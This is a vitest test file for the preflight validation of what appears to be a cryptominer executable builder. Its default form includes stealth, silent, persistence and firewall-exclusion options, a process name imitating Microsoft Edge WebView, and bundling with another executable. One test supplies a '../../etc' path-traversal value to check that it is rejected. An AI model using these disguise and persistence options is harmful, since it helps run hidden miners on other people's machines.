import { describe, expect, it } from 'vitest';
import { preflightHasErrors, runForgePreflight } from './forgeValidation';
import type { BuildRequest } from '../types';

const baseForm = (): BuildRequest => ({
  worker_name: 'pc-lab-1',
  server_url: 'http://192.168.1.10:8989',
  wallet: '4' + 'A'.repeat(94),
  pool_host: 'pool.example.com',
  pool_port: 3333,
  pool_tls: false,
  pool_pass: 'x',
  threads: 4,
  thread_mode: 'percent',
  thread_percent: 75,
  cpu_priority: 'normal',
  mining_mode: 'always',
  display_mode: 'normal',
  silent_mode: false,
  run_as: 'current',
  auto_start: true,
  persistence: false,
  process_name: 'msedgewebview2',
  max_cpu_usage_pct: 80,
  max_memory_percent: 80,
  min_free_ram_mb: 512,
  idle_threshold_pct: 10,
  idle_duration_minutes: 5,
  schedule_start: '',
  schedule_end: '',
  install_base: 'appdata',
  install_custom_base: '',
  install_relative_path: '',
  adapt_to_hardware: true,
  self_healing: true,
  file_logging: false,
  stealth_mode: false,
  firewall_exclusion: false,
  fusion_enabled: false,
  fusion_run_order: 'parallel',
  fusion_output_name: 'prep.exe',
  ai_enabled: false,
  ai_ollama_endpoint: '',
  ai_model: '',
  output_dir: '',
});

describe('runForgePreflight', () => {
  it('passes valid LAN forge form', () => {
    const checks = runForgePreflight(baseForm(), false);
    expect(preflightHasErrors(checks)).toBe(false);
  });

  it('errors on localhost server URL', () => {
    const form = { ...baseForm(), server_url: 'http://localhost:8989' };
    const checks = runForgePreflight(form, false);
    expect(preflightHasErrors(checks)).toBe(true);
    expect(checks.some((c) => c.id === 'server' && c.level === 'error')).toBe(true);
  });

  it('errors when fusion enabled without prep', () => {
    const form = { ...baseForm(), fusion_enabled: true };
    const checks = runForgePreflight(form, false);
    expect(preflightHasErrors(checks)).toBe(true);
    expect(checks.some((c) => c.id === 'fusion')).toBe(true);
  });

  it('errors on traversal output_dir', () => {
    const form = { ...baseForm(), output_dir: '../../etc' };
    const checks = runForgePreflight(form, false);
    expect(preflightHasErrors(checks)).toBe(true);
  });
});
